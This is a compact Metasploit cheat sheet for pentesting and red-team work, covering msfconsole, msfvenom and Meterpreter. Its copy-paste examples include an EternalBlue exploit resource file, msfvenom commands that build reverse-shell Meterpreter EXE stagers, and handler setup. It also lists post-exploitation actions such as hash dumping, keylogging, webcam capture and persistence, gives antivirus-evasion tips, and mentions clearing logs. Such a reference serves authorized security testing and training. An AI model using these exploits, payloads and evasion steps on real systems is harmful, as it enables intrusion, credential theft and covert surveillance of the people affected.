Metasploit Framework — Professional Cheat Sheet

One-page (compact) professional reference for Metasploit (msfconsole, msfvenom, Meterpreter). Commands, workflows, examples, automation tips, pivoting & post-exploitation patterns for red-team and pentest use.

---

1) At-a-glance

- **Tool:** Metasploit Framework (Rapid7) — modular exploitation framework: exploits, payloads, auxiliary scanners, post modules, and payload generators (msfvenom).
- **Primary uses:** Exploit development, vulnerability validation, post-exploitation, pivoting, credential harvesting, and automation.
- **Warning:** Extremely powerful; use only with written authorization.

---

2) Start / Installation / Update

```
# Kali / Debian
sudo apt update && sudo apt install metasploit-framework
# Start msfconsole
msfconsole
# Update modules & database
msfupdate
```

---

3) Core msfconsole workflow & commands

- `msfconsole` — interactive console.
- `search <term>` — find modules (use `search type:exploit name:apache`).
- `use <module>` — select module (e.g. `use exploit/windows/smb/ms17_010_eternalblue`).
- `info` — show module options and description.
- `show options` — required/advanced settings.
- `set RHOSTS 10.10.10.5` / `set RHOST 10.10.10.5` — target(s).
- `set RPORT 445`, `set LHOST 10.0.0.5`, `set LPORT 4444` — common options.
- `set PAYLOAD <payload>` — pick payload (e.g. `windows/x64/meterpreter/reverse_tcp`).
- `exploit` / `run` / `check` — run exploit; `check` for safe vulnerability check.
- `back` — return to root context.
- `jobs` / `job -K <id>` — background jobs management.
- `sessions` / `sessions -i <id>` — list/interact with sessions.
- `save` — persist workspace config.

---

4) msfvenom (payload generation)

- `msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o shell.exe`
- `-p` payload, `LHOST` / `LPORT`, `-f` format (exe, elf, raw, c, python, ps1), `-e <encoder>` (e.g. x86/shikata_ga_nai), `-i <iterations>` for encoding iterations.
- Example: staged vs stageless payloads: `windows/meterpreter/reverse_tcp` (staged) vs `windows/x64/meterpreter_reverse_https` (stageless variations available).

---

5) Multi/handler (catching payloads)

```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.5
set LPORT 4444
set ExitOnSession false   # keep handler alive
exploit -j                 # run as job
```

- Use `-j` and `ExitOnSession false` for multiple sessions.

---

6) Meterpreter essentials

- `sysinfo` — target info.
- `getuid` / `getprivs` — current user / privileges.
- `shell` — drop to OS shell.
- `background` — send session to background.
- `upload <local> <remote>` / `download <remote> <local>` — file transfer.
- `download -r /path` — recursive download.
- `persist` / `persistence -h` — create persistence (use with caution and authorization).
- `migrate <pid>` — move Meterpreter to another process (stable, less likely to be killed).
- `ps` — process list.
- `hashdump` — dump local SAM hashes (Windows, requires privileges).
- `screenshot` / `webcam_snap` / `keyscan_start` / `keyscan_dump` — post-exploitation actions (subject to legal/ethical rules).

---

7) Post-exploitation & pivoting

- **Autoroute:** `use post/windows/manage/autoroute` then `run` (adds route to session for pivoting).

- **Port forwarding & SOCKS proxy:** `use auxiliary/server/socks4a` or `run autoroute` + `use auxiliary/server/socks5` in newer setups. `route add <subnet> <mask> <session>` to route traffic via session.
- **SSH pivot (SSHuttle / SOCKS):** combine Meterpreter's `portfwd add -L <lport> -R <rhost>:<rport>` or use `ssh` tunnels through compromised boxes.

---

8) Scanning/auxiliary modules

- `use auxiliary/scanner/ssh/ssh_login` or `auxiliary/scanner/smb/smb_version` for reconnaissance.
- `set THREADS 50` / `set RHOSTS` to scan ranges. Monitor for IDS.

---

9) Evasion & payload delivery tips

- Use HTTPS/SSL payloads (reverse_https) to blend with web traffic.
- Use `msfvenom` scripting to generate staged DLLs, EXEs, PowerShell stagers (e.g., `-f ps1`) for fileless execution.
- Try encoders (`-e x86/shikata_ga_nai -i 3`) only to evade naive AV; modern AV uses behavior detection.
- Leverage legitimate admin tools (living-off-the-land) through `execute` or `powershell` to avoid dropping binaries.

---

10) Automation & scripting

- **Resource scripts:** create `script.rc` with msfconsole commands and run `msfconsole -r script.rc`.
- **msfrpc / msfrpcd:** programmatic control (deprecated in some builds) — use for custom automation.
- **Meterpreter scripts:** `run post/windows/gather/credentials/windows_autologin` etc.

---

11) Workspace & database

- `workspace -a <name>` / `workspace` — manage workspaces.
- `db_nmap -sV -p- 10.10.10.0/24` — use integrated DB to import scan results into msf.
- `hosts`, `services`, `vulns`, `creds` commands to query database content.

---

12) Clean-up & OPSEC

- `sessions -K` to kill sessions, remove autoroutes: `route delete -s <session>`.

- Remove uploaded files and persistence, clear logs where authorized, and produce a clean exit checklist in the report.
- Keep detailed logs, timestamps, and evidence for reporting.

---

13) Quick examples (copy-paste)

```
# Exploit + handler (one-liner resource file)
# file: exploit.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.5
set LPORT 4444
set ExitOnSession false
exploit -j

# run:
msfconsole -r exploit.rc

# msfvenom generate EXE
msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.5 LPORT=443 -f exe -
o stager.exe
```

---

14) Useful flags & tips

- `setg` vs `set`: `setg` sets a global option (applies to all modules), `set` only to current module.
- Use `check` before `exploit` when available.
- `ExitOnSession false` + `exploit -j` for persistent handling of multiple incoming sessions.
- Always test payloads in lab VMs to confirm compatibility (x86 vs x64, OS version).

---

15) References & further reading

- Official Metasploit docs and module wiki.
- Metasploit Unleashed (offensive security) for labs and deep dives.

This cheat sheet is for authorized security testing and learning only.